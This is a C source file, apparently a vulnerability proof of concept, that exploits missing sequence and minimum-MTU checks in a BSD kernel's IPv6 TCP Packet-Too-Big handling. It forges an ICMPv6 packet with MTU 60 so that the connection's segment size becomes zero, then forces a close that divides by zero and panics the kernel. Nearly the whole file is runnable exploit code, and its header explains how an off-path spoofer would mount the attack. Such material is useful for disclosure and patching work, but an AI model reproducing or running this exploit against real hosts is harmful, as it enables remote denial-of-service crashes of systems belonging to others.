DF-3317 / ptb6.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 | /* * DF-3317 PoC -- tcp6_ctlinput() dispatches ICMPv6 Packet-Too-Big to * tcp_mtudisc() with NO sequence validation and NO IPv6 minimum-MTU * (IPV6_MMTU=1280) floor. * * BUG (sys/netinet/tcp_subr.c): * tcp6_ctlinput() (1575-1590) takes the 32-bit icmp6_mtu verbatim: * arg = ntohl(icmp6->icmp6_mtu); notify = tcp_mtudisc; * and calls in6_pcbnotify() (1628-1630) with ONLY the port pair * (struct tcp_portonly -- the quoted th_seq is never even copied, * let alone validated against [snd_una, snd_max) the way the IPv4 * twin tcp_ctlinput() does at 1509-1511). * * => an off-path blind forger needs only the connection 4-tuple. * With mtu=60 (IPv6 40 + TCP 20): tcp_mtudisc() computes * maxopd = 60 - (40+20) = 0 (tcp_subr.c:1820-1823) * tp->t_maxopd = 0; mss = 0; tp->t_maxseg = 0 (1852-1871) * and t_maxseg is u_int (tcp_var.h:223). On the NEXT tcp_close() * of that connection, with >=16 RTT samples (tcp_subr.c:945) and * the ssthresh-save block entered (1006-1008): * i = (i + tp->t_maxseg / 2) / tp->t_maxseg; (1013) * => integer DIVIDE BY ZERO => kernel panic. * * RFC 8200 5.2: a node MUST discard PTB reporting MTU < 1280. * icmp6_mtudisc_update() (icmp6.c:1078) gets this right for the * route; the TCP notify path never checks. * * PRIVILEGE MODEL: this PoC runs as root ONLY because injecting raw * ICMPv6 locally requires a raw socket. The attack it models needs * NO local privilege: the real attacker is an off-path IPv6 spoofer * who knows the victim 4-tuple (ports are guessable/scannable). * * usage: ptb6 [-p port] [-m mtu] [-n rtt_rounds] [-s sndbuf] * [-R rto_wait_secs] [-x] (-x: skip the close/panic step) */ #define _KERNEL_STRUCTURES #include <sys/param.h> #include <sys/sysctl.h> #include <sys/socket.h> #include <sys/socketvar.h> #include <sys/types.h> #include <sys/uio.h> #include <net/route.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/ip6.h> #include <netinet/in_pcb.h> #include <netinet/icmp6.h> #include <netinet/tcp.h> #include <netinet/tcpip.h> #include <netinet/tcp_seq.h> #include <netinet/tcp_fsm.h> #include <netinet/tcp_timer.h> #include <netinet/tcp_var.h> #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> struct ptb6_args { int port; int mtu; int rtt_rounds; int sndbuf; int rto_wait; int no_close; int blast; int preclose_wait; }; static void die(const char *s) { fprintf(stderr, "ptb6: %s: %s\n", s, strerror(errno)); exit(1); } /* ---- dump the client connection's tcpcb fields via pcblist ------- */ static int show_tp(int lport, int fport, const char *tag) { int mib[4]; size_t miblen = sizeof(mib) / sizeof(mib[0]); struct xtcpcb *xt; char *buf = NULL; size_t len = 0, cap = 0; int found = 0; if (sysctlnametomib("net.inet.tcp.pcblist", mib, &miblen) < 0) die("sysctlnametomib(pcblist)"); for (;;) { int rc; len = 0; rc = sysctl(mib, miblen, NULL, &len, NULL, 0); if (rc == 0 && len > cap) { free(buf); cap = len + len / 8 + 4096; buf = malloc(cap); if (!buf) die("malloc"); } len = cap; rc = sysctl(mib, miblen, buf, &len, NULL, 0); if (rc == 0) break; if (errno != ENOMEM) die("sysctl(pcblist)"); } for (xt = (struct xtcpcb *)buf; (char *)xt + sizeof(*xt) <= buf + len; xt++) { struct inpcb *inp = &xt->xt_inp; if (inp->inp_inc.inc_isipv6 == 0) continue; if (inp->inp_inc.inc_lport != htons(lport)) continue; if (inp->inp_inc.inc_fport != htons(fport)) continue; printf("%s: t_state=%u t_maxseg=%u t_maxopd=%u " "t_rttupdated=%lu snd_ssthresh=%lu snd_cwnd=%lu\n", tag, xt->xt_tp.t_state, xt->xt_tp.t_maxseg, xt->xt_tp.t_maxopd, (unsigned long)xt->xt_tp.t_rttupdated, (unsigned long)xt->xt_tp.snd_ssthresh, (unsigned long)xt->xt_tp.snd_cwnd); found = 1; } free(buf); return (found); } /* ---- forge ICMPv6 Packet Too Big quoting client->server ---------- * NOTE: AF_INET6 SOCK_RAW never transmits a caller-built IPv6 header; * the kernel prepends its own (src/dst from the sendto route, nxt=58). * We send only the ICMPv6 message + quoted packet. */ static void inject_ptb(int mtu, int cport, int sport) { unsigned char pkt[8 + sizeof(struct ip6_hdr) + sizeof(struct tcphdr)]; struct icmp6_hdr *ic6 = (struct icmp6_hdr *)pkt; struct ip6_hdr *qip6 = (struct ip6_hdr *)(ic6 + 1); struct tcphdr *th = (struct tcphdr *)(qip6 + 1); struct sockaddr_in6 dst; struct in6_addr lo; int s; memset(pkt, 0, sizeof(pkt)); /* the error: Packet Too Big, next-hop MTU = attacker value */ ic6->icmp6_type = ICMP6_PACKET_TOO_BIG; ic6->icmp6_code = 0; ic6->icmp6_cksum = 0; /* kernel computes it */ ic6->icmp6_mtu = htonl(mtu); /* quoted (inner) packet: client -> server, TCP. * th_seq is arbitrary: tcp6_ctlinput never validates it. */ if (inet_pton(AF_INET6, "::1", &lo) != 1) die("inet_pton"); qip6->ip6_flow = htonl(6 << 28); qip6->ip6_plen = htons(sizeof(struct tcphdr)); qip6->ip6_nxt = IPPROTO_TCP; qip6->ip6_hlim = 64; qip6->ip6_src = lo; /* client = ::1 */ qip6->ip6_dst = lo; /* server = ::1 */ th->th_sport = htons(cport); th->th_dport = htons(sport); th->th_seq = htonl(0x41424344); /* garbage -- no check */ th->th_off = sizeof(struct tcphdr) >> 2; th->th_flags = TH_ACK; s = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (s < 0) die("socket(ICMPV6 raw)"); memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; dst.sin6_len = sizeof(dst); dst.sin6_addr = lo; if (sendto(s, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sendto(PTB)"); close(s); printf("ptb6: injected ICMPv6 PTB mtu=%d quoting ::1.%d -> ::1.%d\n", mtu, cport, sport); } int main(int argc, char **argv) { struct ptb6_args a = { .port = 0xC001, .mtu = 60, .rtt_rounds = 40, .sndbuf = 524288, .rto_wait = 2, .no_close = 0, .blast = 0, .preclose_wait = 0 }; struct sockaddr_in6 lsa; struct linger lg = { 1, 0 }; int lst, cli, srv, one = 1, ch, i, flags; char b[128]; setvbuf(stdout, NULL, _IONBF, 0); while ((ch = getopt(argc, argv, "p:m:n:s:R:bwx")) != -1) { switch (ch) { case 'p': a.port = atoi(optarg); break; case 'm': a.mtu = atoi(optarg); break; case 'n': a.rtt_rounds = atoi(optarg); break; case 's': a.sndbuf = atoi(optarg); break; case 'R': a.rto_wait = atoi(optarg); break; case 'b': a.blast = 1; break; case 'w': a.preclose_wait = atoi(optarg); break; case 'x': a.no_close = 1; break; default: goto usage; } } argc -= optind; argv += optind; if (argc != 0) { usage: fprintf(stderr, "usage: ptb6 [-p port] [-m mtu] " "[-n rtt_rounds] [-s sndbuf] [-R rto_secs] [-x]\n"); return (2); } /* 1. listener + client on [::1] */ lst = socket(AF_INET6, SOCK_STREAM, 0); if (lst < 0) die("socket(lst)"); setsockopt(lst, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); memset(&lsa, 0, sizeof(lsa)); lsa.sin6_family = AF_INET6; lsa.sin6_len = sizeof(lsa); lsa.sin6_addr = in6addr_loopback; lsa.sin6_port = htons(a.port); if (bind(lst, (struct sockaddr *)&lsa, sizeof(lsa)) < 0) die("bind"); if (listen(lst, 8) < 0) die("listen"); cli = socket(AF_INET6, SOCK_STREAM, 0); if (cli < 0) die("socket(cli)"); /* No TCP options: keeps mss == maxopd == 0 exactly (with * timestamps, mss = 0 - TCPOLEN_TSTAMP_APPA = -12 and the * unsigned clamp at tcp_subr.c:1868 turns it into ssb_hiwat). */ setsockopt(cli, IPPROTO_TCP, TCP_NOOPT, &one, sizeof(one)); if (connect(cli, (struct sockaddr *)&lsa, sizeof(lsa)) < 0) die("connect"); srv = accept(lst, NULL, NULL); if (srv < 0) die("accept"); setsockopt(cli, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)); setsockopt(srv, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)); /* learn the client's ephemeral port (matches inc_lport) */ { struct sockaddr_in6 me; socklen_t ml = sizeof(me); getsockname(cli, (struct sockaddr *)&me, &ml); i = ntohs(me.sin6_port); printf("ptb6: conn [::1].%d <-> [::1].%d\n", i, a.port); } /* 2. RTT samples: t_rttupdated must reach >= 16 */ for (i = 0; i < a.rtt_rounds; i++) { if (write(cli, "ping", 4) != 4) die("write"); if (read(srv, b, sizeof(b)) < 0) die("read(srv)"); if (write(srv, "pong", 4) != 4) die("write(srv)"); if (read(cli, b, sizeof(b)) < 0) die("read(cli)"); } /* 3. (optional) collapse snd_ssthresh via a forced persist/rexmit; * not needed for the panic -- the ssthresh-save block is entered * as long as rmx_ssthresh != 0 on the route (seeded with * route change -inet6 -host ::1 -ssthresh 1024 * which models the organic state left behind by any previously * congested connection over the same route). */ if (a.blast) { if (setsockopt(cli, SOL_SOCKET, SO_SNDBUF, &a.sndbuf, sizeof(a.sndbuf)) < 0) perror("SO_SNDBUF (non-fatal)"); one = 1024; if (setsockopt(srv, SOL_SOCKET, SO_RCVBUF, &one, sizeof(one)) < 0) perror("SO_RCVBUF (non-fatal)"); flags = fcntl(cli, F_GETFL, 0); fcntl(cli, F_SETFL, flags | O_NONBLOCK); for (i = 0; i < 200000; i++) { if (write(cli, "x", 1) < 0) { if (errno == EAGAIN || errno == ENOBUFS) break; die("blast write"); } } printf("ptb6: blast blocked after %d bytes; waiting %ds\n", i, a.rto_wait); } sleep(a.rto_wait); { struct sockaddr_in6 me; socklen_t ml = sizeof(me); getsockname(cli, (struct sockaddr *)&me, &ml); if (!show_tp(ntohs(me.sin6_port), a.port, "before-PTB ")) printf("ptb6: WARNING conn not found in pcblist\n"); } /* 4. blind-forgery equivalent: no seq knowledge needed */ { struct sockaddr_in6 me; socklen_t ml = sizeof(me); getsockname(cli, (struct sockaddr *)&me, &ml); inject_ptb(a.mtu, ntohs(me.sin6_port), a.port); } { struct sockaddr_in6 me; socklen_t ml = sizeof(me); getsockname(cli, (struct sockaddr *)&me, &ml); if (!show_tp(ntohs(me.sin6_port), a.port, "after-PTB ")) printf("ptb6: WARNING conn not found in pcblist\n"); } /* 5. linger-abort close -> tcp_drop -> tcp_close -> (t_maxseg==0) * i = (i + t_maxseg/2) / t_maxseg ==> divide by zero */ if (a.no_close) { printf("ptb6: -x given; sleeping so you can inspect\n"); sleep(120); return (0); } if (a.preclose_wait) { printf("ptb6: sleeping %ds before the aborting close\n", a.preclose_wait); sleep(a.preclose_wait); } printf("ptb6: aborting client (SO_LINGER 0) ... tcp_close next; " "expect panic if t_maxseg==0 and ssthresh block entered\n"); setsockopt(cli, SOL_SOCKET, SO_LINGER, &lg, sizeof(lg)); close(cli); printf("ptb6: close returned (no panic -- diagnose above)\n"); close(srv); close(lst); return (0); } |